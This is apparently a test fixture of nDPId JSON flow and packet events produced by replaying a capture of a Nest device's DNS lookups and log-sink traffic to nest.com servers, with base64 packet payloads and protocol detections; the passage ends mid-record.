+00502{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":537,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":20,"flow_first_seen":1536716409847,"flow_last_seen":1536716412657,"flow_tot_l4_data_len":2667,"flow_min_l4_data_len":20,"flow_max_l4_data_len":699,"flow_avg_l4_data_len":133,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63347,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":577,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1536716402804,"flow_last_seen":1536716407116,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":48,"flow_max_l4_data_len":135,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":611,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1536717427961,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":611,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717427,"pkt_ts_usec":961883,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AJD7JidrGLQwJjRACABFAABEME8AAP8RJffAqPIPwKjyAc5xADUAMGWoTp4BAAABAAAAAAAADXdlYXZlLWxvZ3NpbmsEbmVzdANjb20AAAEAAQ=="} +00651{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":611,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1536717427961,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"weave-logsink.nest.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00455{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":612,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717427,"pkt_ts_usec":984158,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AJD7JidrGLQwJjRACABFAABEMFAAAP8RJfbAqPIPwKjyAc5xADUAMGWoTp4BAAABAAAAAAAADXdlYXZlLWxvZ3NpbmsEbmVzdANjb20AAAEAAQ=="} +00475{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":613,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717428,"pkt_ts_usec":84913,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"GLQwJjRAAJD7JidrCABFAABUzkdAAEARBu\/AqPIBwKjyDwA1znEAQGW0Tp6BgAABAAEAAAAADXdlYXZlLWxvZ3NpbmsEbmVzdANjb20AAAEAAcAMAAEAAQAAAHgABCO8mro="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":613,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":3,"flow_first_seen":1536717427961,"flow_last_seen":1536717428084,"flow_tot_l4_data_len":160,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"weave-logsink.nest.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"35.188.154.186"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":614,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1536717428089,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63348,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":614,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717428,"pkt_ts_usec":89363,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AJD7JidrGLQwJjRACABFAAAsMFEAAP8GGkzAqPIPI7yauvd0K1cJA0ANAAAAAGACEgCqTwAAAgQEgAAA"} +00423{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":615,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717428,"pkt_ts_usec":146200,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"GLQwJjRAAJD7JidrCABFAAAsAABAADcG0p0jvJq6wKjyDytX93SD5IA7CQNADmASbvBIIgAAAgQFjA=="} +00424{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":616,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717428,"pkt_ts_usec":152738,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMFIAAP8GGk\/AqPIPI7yauvd0K1cJA0AOg+SAPFAQEgC8pwAAAAAAAAAA"} +01131{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":617,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717428,"pkt_ts_usec":783827,"pkt_caplen":584,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":584,"pkt_l4_len":550,"pkt":"AJD7JidrGLQwJjRACABFAAI6MFMAAP8GGDzAqPIPI7yauvd0K1cJA0AOg+SAPFAYEgA01wAAEAIAExQDAAA2nicAADC0GAQAAAACMLQYEQqhBgQAAACBAAA5+ABtAAEAWiMlAFojHyMEdWFEtzIQHcrUoR4KJr0nThP7ho+KjumbCS42SAZcOZE4ZIGU+ZsRrtka\/tXfJezpJKVwevWOyeqVBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwARxPueh2Gx23R+9ew7rqYGrqcSqU1e0pOJ9bmWJpMAIcJJNt3r1\/EAtU0PyDOUm45cgjnwfXP\/ehExggtxg="} +00415{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717428,"pkt_ts_usec":838731,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoS3FAADcGhzAjvJq6wKjyDytX93SD5IA8CQNCIFAQcRBbhQAA"} +01333{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":619,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717428,"pkt_ts_usec":843719,"pkt_caplen":732,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":732,"pkt_l4_len":698,"pkt":"GLQwJjRAAJD7JidrCABFAALOS3JAADcGhIkjvJq6wKjyDytX93SD5IA8CQNCIFAYcRBeKwAApAIAE2ZMqY0EAAAAAjC0GDaeJwAAMLQYEAuhBgQAAACAOewBAAAEQV9aO4xK0Ti5pfosvsMq8qMan5I\/lvw0z2uLTLWHTEEmZP5JxgTdqLVmyLoXPa\/bgZ+9Dfm1hg\/VAAAEAAcANQEwAQgMb9c+DCmBkiQCBDcDJxMDAAAA7jC0GBgmBACuiCMmBf8bcyU3BicSBAAAAAIwtBgYJAcCJgglAFojMAo5BOmClNa2L\/0sqyhn7IYa235P1xw1ad7owBLnP8rLfG3TPA0dBMXfrzKvqAFyJ47sRlQQr3qOkdAiNYMpARg1gikBJAIFGDWEKQE2AgQCBAEYGDWBMAIIT2JdLEIid9IYNYAwAghAMCqAESxXYxg1DDABHQD2qSsI\/n0hou9Llf5n3GEbVWuc4D0QHq+l2F+wMAIcbFFqzYrI2WIn6D35aDg1LAuu7NZYbZZk\/HdXyxgYNwPVAAAEAAEAMAEIdFPE8yV1wKQkAgQ3AycTAQAAAO4wtBgYJgSEShYaJgWECPtJNwYnEwMAAADuMLQYGCQHAiYIJQBaIzAKOQRhOKp73vZWzVBkzcIvC7VHSn7kjE4w+wzb4SgMSIJb6yR4pk2B0279JwA\/5iu\/0TQlBvq00DFAwzWDKQEpAhg1gikBJAJgGDWBMAIIQDAqgBEsV2MYNYAwAghDNPcS31+Rzxg1DDABHBLqxXlajT9KXWeBN+P8uG5pHU6a1vmo\/i33mMIwAh0AjB981V9gPTa1niPXvZ7CDdMfpHD9c+6sh9daGBgYGBjVAAAEAAgAMAEcG7hosNZ15e3F8srkX2rX3OoCOj0Q8NqMkoEl0jACHQCvDawplV4gO\/pf2Yd7VIkwH5J8lV0JmwN6nsfYGIF4YNGCZYzNH6JJ4VB3AkaCX\/61"} +00422{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":620,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717429,"pkt_ts_usec":59119,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMFQAAP8GGk3AqPIPI7yauvd0K1cJA0Igg+SC4lAQD1q6lQAAAAAAAAAA"} +00489{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":621,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717430,"pkt_ts_usec":226245,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AJD7JidrGLQwJjRACABFAABcMFUAAP8GGhjAqPIPI7yauvd0K1cJA0Igg+SC4lAYD1rmagAAMgAAExUDAAA2nicAADC0GAQAAAACMLQYEQyhBgQAAABBQJTDCM9602OiOlnVzsSlIAFYfg=="} +00543{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":621,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":8,"flow_first_seen":1536717428089,"flow_last_seen":1536717430226,"flow_tot_l4_data_len":1428,"flow_min_l4_data_len":20,"flow_max_l4_data_len":698,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63348,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink.Google","breed":"Unrated","category":"Cloud"}} +00415{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":622,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717430,"pkt_ts_usec":318726,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoS3NAADcGhy4jvJq6wKjyDytX93SD5ILiCQNCVFAQcRBYqwAA"} +00514{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":623,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717430,"pkt_ts_usec":321126,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"AJD7JidrGLQwJjRACABFAABuMFYAAP8GGgXAqPIPI7yauvd0K1cJA0JUg+SC4lAYD1rROwAARAAQEwAAAAA2nicAADC0GAQAAAACMLQYHyNbhn9VDoARCCe8rRLztndNaTEIOzGsgKA+4QD+m30GU58L4iJ+h1FBZ0+xig=="} +00416{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":624,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717430,"pkt_ts_usec":375682,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoS3RAADcGhy0jvJq6wKjyDytX93SD5ILiCQNCmlAQcRBYZQAA"} +00495{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":625,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717430,"pkt_ts_usec":375723,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"GLQwJjRAAJD7JidrCABFAABhS3VAADcGhvMjvJq6wKjyDytX93SD5ILiCQNCmlAYcRAVRAAANwAQEwAAAAAEAAAAAjC0GDaeJwAAMLQYHyNUzvcx8vnscz0swl35eAggu6KEVh\/fqHzBUcLVdmvh"} +01031{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":626,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717430,"pkt_ts_usec":389475,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"AJD7JidrGLQwJjRACABFAAHvMFcAAP8GGIPAqPIPI7yauvd0K1cJA0Kag+SDG1AYDyHFRQAAxQEQEwEAAAA2nicAADC0GAQAAAACMLQYHyPVw9jkpXzitefcaGb7rbhMRxLoSD6YRy8bmVLGXd3TgxoSEbPzwZ3\/utt9tsdzIDCdxnWzS8oJ9T+aT8nuZkzIKVVbRR3kZ4gG1snsRRJymFP0u2iY4XrFJBx33H+nMU2miYnrxMuQkx5v1AZgMOG4SpFjnUNIMBJdO\/HkprK354+4SVeD21AUg4tiTbpeIpMZzHbcF118FqqCB0LSehZMgDbW1tnW57n9YNESA0Pl32qaZ8q6dNruHpPvfirCsaJylOe7X+7\/p3tSxYytakIwF+7AhIJPLH5QDqRpSoZWw8ShoUfP0KPkCuM+ERrnAjfPWSZRnRzcSeSihfrVdKQGdu17beSXxNIhJRW4jwvSShLp0Y8Gxl00O0efxBqwNpyxOxSctmEZlWjWHV6dUUz3QuTRWvbFCHwLVnK2sdwJftI+lmH78iT+ZEvhepFgzFoY+bS12VeY4QPRx83b\/oJqm69y0bZhKTeDiktiqevdWlMbv1smmOlRsfYPZ+l2CWsyjLrYeVydZgZh8D74Fw6d75TmhqOzeCGiwNlZdH+aYJ0OWdjQJhNEeC2yQ+g="} +00494{"flow_id":11,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":627,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717430,"pkt_ts_usec":439321,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"GLQwJjRAAJD7JidrCABFAABfS3ZAADcGhvQjvJq6wKjyDytX93SD5IMbCQNEYVAYdUBdLgAANQAQEwEAAAAEAAAAAjC0GDaeJwAAMLQYHyNzZpXYNZeZdCUgxD2zUDBPIOVRg85SJ3eyC07atQ=="} +01040{"flow_id":11,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":628,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717430,"pkt_ts_usec":453035,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"AJD7JidrGLQwJjRACABFAAHvMFgAAP8GGILAqPIPI7yauvd0K1cJA0Rhg+SDUlAYDuqWvgAAxQEQEwIAAAA2nicAADC0GAQAAAACMLQYHyMcwtLQNZOmw9EOXmPr\/dRZqGP\/ncecLayXy1ipoYtlg+PzlM8YectnZeKXeGjIego5qNZFuYyy1llTK\/YxCfNv2VA9WA3IAF5BK9t4cks\/aNENNnFyAKGNolDBoJM3SCnPUAT1c0ePzBLlWXYfNPioQgHEXdOYx59BaFVkyqAgbG3vWOZqLaCJ\/Tnr8h2SBx9fF2usGo\/lODsM\/VpbwrzaLgWqoMoyF+gI4jWMh42auc1nzFTDN\/+XG4Ayck9\/rrCxRnGeVJs2PXuygHmW9Gakfmmv4AuwBsoS2CzwMycI6JTltG365gP95C+HHJzV5otFdcgEDpE1IGUcp3MDVTj4Vho5w27LvW8H6L\/zwQXba1PvgHyDFCBmqjfvJ7F\/uLvWzxlci9HYS4+g0YCNsokLikF4zCpA3lmioMXH2hk6C3UHYJLHW9z8cZ+rrddw3WQlert2KUbuNvH3BNXjoW\/9dOCD6deluMxqtR7+puUpB\/OqiOWtbQnBpVROt4zUMdeV9ikST8euCwReTFfAKcRjOZXklfnYqQpvi4XsmADmUUTuKcni8hOG+bmO1Ow="} +00481{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":671,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717449,"pkt_ts_usec":934587,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"AJD7JidrGLQwJjRACABFAABXMG4AAP8RJcXAqPIPwKjyAc5xADUAQy+AYUwBAAABAAAAAAAAB2N6ZmUxMDUHZnJvbnQwMQVpYWQwMQpwcm9kdWN0aW9uBG5lc3QDY29tAAABAAE="} +00698{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":671,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":4,"flow_first_seen":1536717427961,"flow_last_seen":1536717449934,"flow_tot_l4_data_len":227,"flow_min_l4_data_len":48,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"czfe105.front01.iad01.production.nest.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"35.188.154.186"}} +00574{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":673,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717450,"pkt_ts_usec":88270,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"GLQwJjRAAJD7JidrCABFAACb\/6BAAEAR1U7AqPIBwKjyDwA1znEAh2X7YUyBgAABAAIAAAAAB2N6ZmUxMDUHZnJvbnQwMQVpYWQwMQpwcm9kdWN0aW9uBG5lc3QDY29tAAABAAHADAAFAAEAAAB3ACgRZWMyLTM1LTE3NC04Mi0yMzcJY29tcHV0ZS0xCWFtYXpvbmF3c8AywEcAAQABAAjpFgAEI65S7Q=="} +00698{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":673,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":5,"flow_first_seen":1536717427961,"flow_last_seen":1536717450088,"flow_tot_l4_data_len":362,"flow_min_l4_data_len":48,"flow_max_l4_data_len":135,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"czfe105.front01.iad01.production.nest.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"35.174.82.237"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":674,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1536717450091,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63349,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":674,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717450,"pkt_ts_usec":91191,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AJD7JidrGLQwJjRACABFAAAsMG8AAP8GYgnAqPIPI65S7fd1K1cJDrE1AAAAAGACEgCA9gAAAgQEgAAA"} +00423{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":675,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717450,"pkt_ts_usec":156309,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"GLQwJjRAAJD7JidrCABFAAAsAABAAC0GJHkjrlLtwKjyDytX93XProMNCQ6xNmASaQPV8QAAAgQFtA=="} +00423{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":676,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717450,"pkt_ts_usec":159277,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMHAAAP8GYgzAqPIPI65S7fd1K1cJDrE2z66DDlAQEgBEsgAAAAAAAAAA"} +01133{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":677,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717450,"pkt_ts_usec":837688,"pkt_caplen":584,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":584,"pkt_l4_len":550,"pkt":"AJD7JidrGLQwJjRACABFAAI6MHEAAP8GX\/nAqPIPI65S7fd1K1cJDrE2z66DDlAYEgBSBgAAEAIAExYDAAA2nicAADC0GAMAAAACMLQYEQqkBgQAAACBAAA5+ABtAAEAWiMlAFoj2CcE2BAp6wubGo\/z5ZfI2Dj3nJ\/pPMFz9Obhx2FH5jhpv2JCG87bpNJ5Ycrt7oCzqhBHmauw3H1NfeuVBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwARwFhA9\/J8DrsWyMKxxx\/EFb6R7RspDZpiRINr3VMAIcZsnvKF9nvfwXd5pondluDtKf2pv4DH09MvS0FRg="} +00415{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":678,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717450,"pkt_ts_usec":903656,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAooddAAC0GgqUjrlLtwKjyDytX93XProMOCQ6zSFAQbODnvwAA"} +01332{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":679,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717450,"pkt_ts_usec":921163,"pkt_caplen":732,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":732,"pkt_l4_len":698,"pkt":"GLQwJjRAAJD7JidrCABFAALOodhAAC0Gf\/4jrlLtwKjyDytX93XProMOCQ6zSFAYbODLIgAApAIAExYDAAADAAAAAjC0GDaeJwAAMLQYEAukBgQAAACAOesBAAAEbziNMpKdbJgGRoHyXyFDRQtipDYGnIgfqtt\/iAE5rQQGlnJ5Tud8n9qoqzSFTGcKQHUsx9ZGKYDVAAAEAAcANQEwAQgRAGNdWXuZjyQCBDcDJxMDAAAA7jC0GBgmBACuiCMmBf8bcyU3BicSAwAAAAIwtBgYJAcCJgglAFojMAo5BAmqnD2bjDiK3yLVcr2LQ\/iPmlWn\/iDHinq\/pRMoxaNQgTnwimtBL+qTiTQqENL2xrPIWxZjJGeRNYMpARg1gikBJAIFGDWEKQE2AgQCBAEYGDWBMAIISKnh4YvR26oYNYAwAghAMCqAESxXYxg1DDABHG7LEaIGSLUc\/M2D6faSCjZ4yyUajbt6l0larAowAhxg27mtYz94ldNAgb53O7UEnNbhJ3tZG9saSNIDGBg3A9UAAAQAAQAwAQh0U8TzJXXApCQCBDcDJxMBAAAA7jC0GBgmBIRKFhomBYQI+0k3BicTAwAAAO4wtBgYJAcCJgglAFojMAo5BGE4qnve9lbNUGTNwi8LtUdKfuSMTjD7DNvhKAxIglvrJHimTYHTbv0nAD\/mK7\/RNCUG+rTQMUDDNYMpASkCGDWCKQEkAmAYNYEwAghAMCqAESxXYxg1gDACCEM09xLfX5HPGDUMMAEcEurFeVqNP0pdZ4E34\/y4bmkdTprW+aj+LfeYwjACHQCMH3zVX2